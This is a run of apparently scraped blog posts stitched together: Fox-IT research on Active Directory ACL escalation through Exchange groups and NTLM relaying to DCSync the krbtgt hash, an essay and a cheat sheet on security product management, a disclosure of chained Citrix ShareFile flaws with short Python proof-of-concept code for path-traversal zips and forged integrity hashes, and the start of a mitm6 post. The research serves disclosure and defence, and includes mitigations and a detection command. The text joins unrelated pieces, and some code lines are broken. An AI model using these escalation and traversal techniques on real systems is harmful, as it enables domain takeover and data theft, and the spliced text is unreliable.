The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL) which means that by being a member of the Organization Management group we were able to escalate out privileges to that of a domain administrator.
To exploit this, we added our user account that we obtained earlier to the Exchange Trusted Subsystem group. We logged on again (because security group memberships are only loaded during login) and now we were a member of the Exchange Trusted Subsystem group and the Exchange Windows Permission group, which allowed us to modify the ACL of the domain.

If you have access to modify the ACL of an AD object, you can assign permissions to an identity that allows them to write to a certain attribute, such as the attribute that contains the telephone number. Besides assigning read/write permissions to these kinds of attributes, it is also possible to assign permissions to extended rights. These rights are predefined tasks, such as the right of changing a password, sending email to a mailbox and many more2. It is also possible to add any given account as a replication partner of the domain by applying the following extended rights:

  • Replicating Directory Changes
  • Replicating Directory Changes All

When we set these permissions for our user account, we were able to request the password hash of any user in the domain, including that of the krbtgt account of the domain. More information about this privilege escalation technique can be found on the following GitHub page:

Obtaining a user account that is a member of the Organization Management group is not something that happens quite often. Nonetheless, this technique can be used on a broader basis. It is possible that the Organization Management group is managed by another group. That group may be managed by another group, et cetera. That means that it is possible that there is a chain throughout the domain that is difficult to discover but, if correlated correctly, might lead to full compromise of the domain.

To help exploit this chain of security risks, Fox-IT wrote two tools. The first tool is written in PowerShell and can be run within or outside an AD environment. The second tool is an extension to the ntlmrelayx tool. This extension allows the attacker to relay identities (user accounts and computer accounts) to Active Directory and modify the ACL of the domain object.


Invoke-ACLPwn is a Powershell script that is designed to run with integrated credentials as well as with specified credentials. The tool works by creating an export with SharpHound3 of all ACLs in the domain as well as the group membership of the user account that the tool is running under. If the user does not already have writeDACL permissions on the domain object, the tool will enumerate all ACEs of the ACL of the domain. Every identity in an ACE has an ACL of its own, which is added to the enumeration queue. If the identity is a group and the group has members, every group member is added to the enumeration queue as well. As you can imagine, this takes some time to enumerate but could end up with a chain to obtain writeDACL permission on the domain object.


When the chain has been calculated, the script will then start to exploit every step in the chain:

  • The user is added to the necessary groups
  • Two ACEs are added to the ACL of the domain object:
    • Replicating Directory Changes
    • Replicating Directory Changes All
  • Optionally, Mimkatz’ DCSync feature is invoked and the hash of the given user account is requested. By default the krbtgt account will be used.

After the exploitation is done, the script will remove the group memberships that were added during exploitation as well as the ACEs in the ACL of the domain object.

To test the script, we created 26 security groups. Every group was member of another group (testgroup_a was a member of testgroup_b, which itself was a member of testgroup_c, et cetera, up until testgroup_z.)
The security group testgroup_z had the permission to modify the membership of the Organization Management security group. As written earlier, this group had the permission to modify the group membership of the Exchange Trusted Subsystem security group. Being a member of this group will give you the permission to modify the ACL of the domain object in Active Directory.

We now had a chain of 31 links:

  • Indirect member of 26 security groups
  • Permission to modify the group membership of the Organization Management security group
  • Membership of the Organization Management
  • Permission to modify the group membership of the Exchange Trusted Subsystem security group
  • Membership of the Exchange Trusted Subsystem and the Exchange Windows Permission security groups

The result of the tool can be seen in the following screenshot:


Please note that in this example we used the ACL configuration that was configured
during the installation of Exchange. However, the tool does not rely on Exchange
or any other product to find and exploit a chain.

Currently, only the writeDACL permission on the domain object is enumerated
and exploited. There are other types of access rights such as owner, writeOwner, genericAll, et cetera, that can be exploited on other object as well.
These access rights are explained in depth in this whitepaper by the BloodHound team.
Updates to the tool that also exploit these privileges will be developed and released in the future.
The Invoke-ACLPwn tool can be downloaded from our GitHub here:


Last year we wrote about new additions to ntlmrelayx allowing relaying to LDAP, which allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory. Previously, the LDAP attack in ntlmrelayx would check if the relayed account was a member of the Domain Admins or Enterprise Admins group, and escalate privileges if this was the case. It did this by adding a new user to the Domain and adding this user to the Domain Admins group.
While this works, this does not take into account any special privileges that a relayed user might have. With the research presented in this post, we introduce a new attack method in ntlmrelayx. This attack involves first requesting the ACLs of important Domain objects, which are then parsed from their binary format into structures the tool can understand, after which the permissions of the relayed account are enumerated.
This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user.
For this privilege escalation there are two different attacks. The first attack is called the ACL attack in which the ACL on the Domain object is modified and a user under the attackers control is granted Replication-Get-Changes-All privileges on the domain, which allows for using DCSync as desribed in the previous sections. If modifying the domain ACL is not possible, the access to add members to several high privilege groups in the domain is considered for a Group attack:

  • Enterprise Admins
  • Domain Admins
  • Backup Operators (who can back up critical files on the Domain Controller)
  • Account Operators (who have control over almost all groups in the domain)

If an existing user was specified using the --escalate-user flag, this user will be given the Replication privileges if an ACL attack can be performed, and added to a high-privilege group if a Group attack is used. If no existing user is specified, the options to create new users are considered. This can either be in the Users container (the default place for user accounts), or in an OrganizationalUnit for which control was delegated to for example IT department members.

One may have noticed that we mentioned relayed accounts here instead of relayed users. This is because the attack also works against computer accounts that have high privileges. An example for such an account is the computer account of an Exchange server, which is a member of the Exchange Windows Permissions group in the default configuration. If an attacker is in a position to convince the Exchange server to authenticate to the attacker’s machine, for example by using mitm6 for a network level attack, privileges can be instantly escalated to Domain Admin.

Relaying Exchange account

The NTDS.dit hashes can now be dumped by using impacket’s or with Mimikatz:


Similarly if an attacker has Administrative privileges on the Exchange Server, it is possible to escalate privilege in the domain without the need to dump any passwords or machine account hashes from the system.
Connecting to the attacker from the NT Authority\SYSTEM perspective and authenticating with NTLM is sufficient to authenticate to LDAP. The screenshot below shows the PowerShell function Invoke-Webrequest being called with, which will run from a SYSTEM perspective. The flag -UseDefaultCredentials will enable automatic authentication with NTLM.


The 404 error here is expected as serves a 404 page if the relaying attack is complete

It should be noted that relaying attacks against LDAP are possible in the default configuration of Active Directory, since LDAP signing, which partially mitigates this attack, is disabled by default. Even if LDAP signing is enabled, it is still possible to relay to LDAPS (LDAP over SSL/TLS) since LDAPS is considered a signed channel. The only mitigation for this is enabling channel binding for LDAP in the registry.
To get the new features in ntlmrelayx, simply update to the latest version of impacket from GitHub:


As for mitigation, Fox-IT has a few recommendations.

Remove dangerous ACLs
Check for dangerous ACLs with tools such as Bloodhound. 3
Bloodhound can make an export of all ACLs in the domain which helps identifying
dangerous ACLs.

Remove writeDACL permission for the Exchange Windows Permissions group
Remove the writeDACL permission for the Exchange Windows Permissions group. The following GitHub page contains a PowerShell script which can assist with this:

Monitor security groups
Monitor (the membership of) security groups that can have a high impact on the domain, such as the Exchange Trusted Subsystem and the Exchange Windows Permissions.

Audit and monitor changes to the ACL.
Audit changes to the ACL of the domain. If not done already, it may be necessary to modify the domain controller policy. More information about this can be found on the following TechNet article:

When the ACL of the domain object is modified, an event will be created with event ID 5136. The Windows event log can be queried with PowerShell, so here is a one-liner to get all events from the Security event log with ID 5136:

Get-WinEvent -FilterHashtable @{logname='security'; id=5136}

This event contains the account name and the ACL in a Security Descriptor Definition Language (SDDL) format.


Since this is unreadable for humans, there is a PowerShell cmdlet in Windows 10,
ConvertFrom-SDDL4, which converts the SDDL string into a more readable ACL object.


If the server runs Windows Server 2016 as operating system, it is also possible to see the original and modified descriptors. For more information:

With this information you should be able to start an investigation to discover what was modified, when that happened and the reason behind that.



Security Product Management at Large Companies vs. Startups

Is it better to perform product management of information security solutions at a large company or at a startup? Picking the setting that’s right for you isn’t as simple as craving the exuberant energy of a young firm or coveting the resources and brand of an organization that’s been around for a while. Each environment has its challenges and advantages for product managers. The type of innovation, nature of collaboration, sales dynamics, and cultural nuances are among the factors to consider when deciding which setting is best for you.

The perspective below is based on my product management experiences in the field information security, though I suspect it’s applicable to product managers in other hi-tech environments.

Product Management at a Large Firm

In the world of information security, industry incumbents are usually large organizations. This is in part because growing in a way that satisfies investors generally requires the financial might, brand and customer access that’s hard for small cyber-security companies to achieve. Moreover, customers who are not early adopters often find it easier to focus their purchasing on a single provider of unified infosec solutions. These dynamics set the context for the product manager’s role at large firms.

Access to Customers

Though the specifics differs across organizations, product management often involves defining capabilities and driving adoption. The product manager’s most significant advantage at a large company is probably access to customers. This is due to the size of the firm’s sales and marketing organization, as well as due to the large number of companies that have already purchased some of the company’s products.

Such access helps with understanding requirements for new products, improving existing technologies, and finding new customers. For example, you could bring your product to a new geography by using the sales force present in that area without having to hire a dedicated team. Also, it’s easier to upsell a complementary solution than build a new customer relationship from scratch.

Access to Expertise

Another benefit of a large organization is access to funds and expertise that’s sometimes hard to obtain in a young, small company. Instead of hiring a full-time specialist for a particular task, you might be able to draw upon the skills and experience of someone who supports multiple products and teams. In addition, assuming your efforts receive the necessary funding, you might find it easier to pursue product objectives and enter new markets in a way that could be hard for a startup to accomplish. This isn’t always easy, because budgetary planning in large companies can be more onerous than Venture Capitalist fund raising.

Organizational Structure

Working in any capacity at an established firm requires that you understand and follow the often-changing bureaucratic processes inherent to any large entity. Depending on the organization’s structure, product managers in such environments might lack the direct control over the teams vital to the success of their product. Therefore, the product manager needs to excel at forming cross-functional relationships and influencing indirectly. (Coincidentally, this is also a key skill-set for many Chief Information Security Officers.)

Sometimes even understanding all of your own objectives and success criteria in such environments can be challenging. It can be even harder to stay abreast of the responsibilities of others in the corporate structure. On the other hand, one of the upsides of a large organization is the room to grow one’s responsibilities vertically and horizontally without switching organizations. This is often impractical in small companies.

What It’s Like at a Large Firm

In a nutshell, these are the characteristics inherent to product management roles at large companies:

  • An established sales organization, which provides access to customers
  • Potentially-conflicting priorities and incentives with groups and individuals within the organization
  • Rigid organizational structure and bureaucracy
  • Potentially-easier access to funding for sophisticated projects and complex products
  • Possibly-easier access to the needed expertise
  • Well-defined career development roadmap

I loved working as a security product manager at a large company. I was able to oversee a range of in-house software products and managed services that focused on data security. One of my solutions involved custom-developed hardware, with integrated home-grown and third-party software, serviced a team of help desk and in-the-field technicians. A fun challenge!

I also appreciated the chance to develop expertise in the industries that my employer serviced, so I could position infosec benefits in the context relevant to those customers. I enjoyed staying abreast of the social dynamics and politics of a siloed, matrixed organization. After awhile I decided to leave because I was starting to feel a bit too comfortable. I also developed an appetite for risk and began craving the energy inherent to startups.

Product Management in a Startup

One of the most liberating, yet scary aspects of product management at a startup is that you’re starting the product from a clean slate. On the other hand, while product managers at established companies often need to account for legacy requirements and internal dependencies, a young firm is generally free of such entanglements, at least at the onset of its journey.

What markets are we targeting? How will we reach customers? What comprises the minimum viable product? Though product managers ask such questions in all types of companies, startups are less likely to survive erroneous answers in the long term. Fortunately, short-term experiments are easier to perform to validate ideas before making strategic commitments.

Experimenting With Capabilities

Working in a small, nimble company allows the product manager to quickly experiment with ideas, get them implemented, introduce them into the field, and gather feedback. In the world of infosec, rapidly iterating through defensive capabilities of the product is useful for multiple reasons, including the ability to assess—based on real-world feedback—whether the approach works against threats.

Have an idea that is so crazy, it just might work? In a startup, you’re more likely to have a chance to try some aspect of your approach, so you can rapidly determine whether it’s worth pursuing further. Moreover, given the mindshare that the industry’s incumbents have with customers, fast iterations help understand which product capabilities, delivered by the startup, the customers will truly value.

Fluid Responsibilities

In all companies, almost every individual has a certain role for which they’ve been hired. Yet, the specific responsibilities assigned to that role in a young firm often benefit from the person’s interpretation, and are based on the person’s strengths and the company’s need at a given moment. A security product manager working at a startup might need to assist with pre-sales activities, take a part in marketing projects, perform threat research and potentially develop proof-of-concept code, depending on what expertise the person possesses and what the company requires.

People in a small company are less likely to have the “it’s not my job attitude” than those in highly-structured, large organizations. A startup generally has fewer silos, making it easier to engage in activities that interest the person even if they are outside his or her direct responsibilities. This can be stressful and draining at times. On the other hand, it makes it difficult to get bored, and also gives the product manager an opportunity to acquire skills in areas tangential to product management. (For additional details regarding this, see my article What’s It Like to Join a Startup’s Executive Team?)

Customer Reach

Product manager’s access to customers and prospects at a startup tends to be more immediate and direct than at a large corporation. This is in part because of the many hats that the product manager needs to wear, sometimes acting as a sales engineer and at times helping with support duties. These tasks give the person the opportunity to hear unfiltered feedback from current and potential users of the product.

However, a young company simply lacks the scale of the sales force that accommodates reaching many customers until the firm builds up steam. (See Access to Customers above.) This means that the product manager might need to help identifying prospects, which can be outside the comfort zone of individuals who haven’t participated in sales efforts in this capacity.

What It’s Like at a Startup

Here are the key aspects of performing product management at a startup:

  • Ability and need to iterate faster to get feedback
  • Willingness and need to take higher risks
  • Lower bureaucratic burden and red tape
  • Much harder to reach customers
  • Often fewer resources to deliver on the roadmap
  • Fluid designation of responsibilities

I’m presently responsible for product management at Minerva Labs, a young endpoint security company. I’m loving the make-or-break feeling of the startup. For the first time, I’m overseeing the direction of a core product that’s built in-house, rather than managing a solution built upon third-party technology. It’s gratifying to be involved in the creation of new technology in such a direct way.

There are lots of challenges, of course, but every day feels like an adventure, as we fight for the seat at the big kids table, grow the customer base and break new ground with innovative anti-malware approaches. It’s a risky environment with high highs and low lows, but it feels like the right place for me right now.

Which Setting is Best for You?

Numerous differences between startups and large companies affect the experience of working in these firms. The distinction is highly pronounced for product managers, who oversee the creation of the solutions sold by these companies. You need to understand these differences prior to deciding which of the environments is best for you, but that’s just a start. Next, understand what is best for you, given where you are in life and your professional development. Sometimes the capabilities that you as a product manager will have in an established firm will be just right; at others, you will thrive in a startup. Work in the environment that appeals to you, but also know when (or whether) it’s time to make a change.

Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).


Gaining initial access

After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at (where name is the name of the company using the solution):

Initialize upload

We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

Initialize upload response

In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

Extract feature

A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

The following python code creates a special zip file called, which contains two files, one of which has a relative path.

import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')

When we upload this file to ShareFile, we get the following message:

ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

Vulnerability 1: Path traversal in archive extraction

From arbitrary write to arbitrary read

While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

  • files
  • persistenstorage
  • tokens

The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

In each of these folders there is a file called info.txt, which contains information about our upload:


In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

import md5
with open('info_modified.txt','r') as infile:
instr ='|')
instr2 = u'|'.join(instr[:-1])
outhash ='utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))

Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

Vulnerability 2: Integrity of data files (info.txt) not verified

Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

modified info.txt

When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

File size does not match

Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

File extraction POC

And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

Vulnerability 3: Path traversal in info.txt data

By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

Investigating file downloads

So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

Download URL

Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

<!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Item key="operatingsystem" value="Linux" />
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
<ShareID />

Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

Static MAC secret

Vulnerability 4: Token XML files integrity integrity not verified

During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

Signature disclosure

Vulnerability 5: Debug information disclosure

Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

Hashing of secret prepended

Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

XXE error

Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

Getting tokens and files

At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

Unzip code

What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:


However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

Validation part 1

Which then passes it to the second validation function:

Validation part 2

What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

So what happens when we add another parameter after the HMAC? When we modify the URL as follows:


We get the following message:

{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

Recursive iteration

To exploit this, we need to do the following:

  • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
  • Upload an info.txt file to this directory.
  • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
  • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

Upload ID path traversal

Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

Which returns the following result that indicates success:

Upload ID path traversal result

Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

Download tokens

Vulnerability 8: Path traversal in upload ID

We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.


By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

  1. Path traversal in archive extraction
  2. Integrity of data files (info.txt) not verified
  3. Path traversal in info.txt data
  4. Token XML files integrity integrity not verified
  5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
  6. Token XML files vulnerable to XXE
  7. Incorrectly implemented URL verification (parameter pollution)
  8. Path traversal in upload ID

Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

Disclosure timeline

  • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
  • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
  • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
  • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
  • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
  • April 6th 2018: Disclosure

CVE: To be assigned

Practical Tips for Creating and Managing New Information Technology Products

This cheat sheet offers advice for product managers of new IT solutions at startups and enterprises. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs.

Responsibilities of a Product Manager

  • Determine what to build, not how to build it.
  • Envision the future pertaining to product domain.
  • Align product roadmap to business strategy.
  • Define specifications for solution capabilities.
  • Prioritize feature requirements, defect correction, technical debt work and other development efforts.
  • Help drive product adoption by communicating with customers, partners, peers and internal colleagues.
  • Participate in the handling of issue escalations.
  • Sometimes take on revenue or P&L responsibilities.

Defining Product Capabilities

  • Understand gaps in the existing products within the domain and how customers address them today.
  • Understand your firm’s strengths and weaknesses.
  • Research the strengths and weaknesses of your current and potential competitors.
  • Define the smallest set of requirements for the initial (or next) release (minimum viable product).
  • When defining product requirements, balance long-term strategic needs with short-term tactical ones.
  • Understand your solutions key benefits and unique value proposition.

Strategic Market Segmentation

  • Market segmentation often accounts for geography, customer size or industry verticals.
  • Devise a way of grouping customers based on the similarities and differences of their needs.
  • Also account for the similarities in your capabilities, such as channel reach or support abilities.
  • Determine which market segments you’re targeting.
  • Understand similarities and differences between the segments in terms of needs and business dynamics.
  • Consider how you’ll reach prospective customers in each market segment.

Engagement with the Sales Team

  • Understand the nature and size of the sales force aligned with your product.
  • Explore the applicability and nature of a reseller channel or OEM partnerships for product growth.
  • Understand sales incentives pertaining to your product and, if applicable, attempt to adjust them.
  • Look for misalignments, such as recurring SaaS product pricing vs. traditional quarterly sales goals.
  • Assess what other products are “competing” for the sales team’s attention, if applicable.
  • Determine the nature of support you can offer the sales team to train or otherwise support their efforts.
  • Gather sales’ negative and positive feedback regarding the product.
  • Understand which market segments and use-cases have gained the most traction in the product’s sales.

The Pricing Model

  • Understand the value that customers in various segments place on your product.
  • Determine your initial costs (software, hardware, personnel, etc.) related to deploying the product.
  • Compute your ongoing costs related to maintaining the product and supporting its users.
  • Decide whether you will charge customers recurring or one-time (plus maintenance) fees for the product.
  • Understand the nature of customers’ budgets, including any CapEx vs. OpEx preferences.
  • Define the approach to offering volume pricing discounts, if applicable.
  • Define the model for compensating the sales team, including resellers, if applicable.
  • Establish the pricing schedule, setting the priced based on perceived value.
  • Account for the minimum desired profit margin.

Product Delivery and Operations

  • Understand the intricacies of deploying the solution.
  • Determine the effort required to operate, maintain and support the product on an ongoing basis.
  • Determine for the technical steps, personnel, tools, support requirements and the associated costs.
  • Document the expectations and channels of communication between you and the customer.
  • Establish the necessary vendor relationship for product delivery, if necessary.
  • Clarify which party in the relationship has which responsibilities for monitoring, upgrades, etc.
  • Allocate the necessary support, R&D, QA, security and other staff to maintain and evolve the product.
  • Obtain the appropriate audits and certifications.

Product Management at Startups

  • Ability and need to iterate faster to get feedback
  • Willingness and need to take higher risks
  • Lower bureaucratic burden and red tape
  • Much harder to reach customers
  • Often fewer resources to deliver on the roadmap
  • Fluid designation of responsibilities

Product Management at Large Firms

  • An established sales organization, which provides access to customers
  • Potentially-conflicting priorities and incentives with groups and individuals within the organization
  • Rigid organizational structure and bureaucracy
  • Potentially-easier access to funding for sophisticated projects and complex products
  • Possibly-easier access to the needed expertise
  • Well-defined career development roadmap


Authored by Lenny Zeltser, who’ve been responsible for product management of information security solutions at companies large and small. This cheat sheet, version 1.0, is released under the Creative Commons v3 “Attribution” License.

mitm6 – compromising IPv4 networks via IPv6

While IPv6 adoption is increasing on the internet, company networks that use IPv6 internally are quite rare. However, most companies are unaware that while IPv6 might not be actively in use, all Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. In this blog, an attack is presented that abuses the default IPv6 configuration in Windows networks to spoof DNS replies by acting as a malicious DNS server and redirect traffic to an attacker specified endpoint. In the second phase of this attack, a new method is outlined to exploit the (infamous) Windows Proxy Auto Discovery (WPAD) feature in order to relay credentials and authenticate to various services within the network. The tool Fox-IT created for this is called mitm6, and is available from the Fox-IT GitHub.

IPv6 attacks

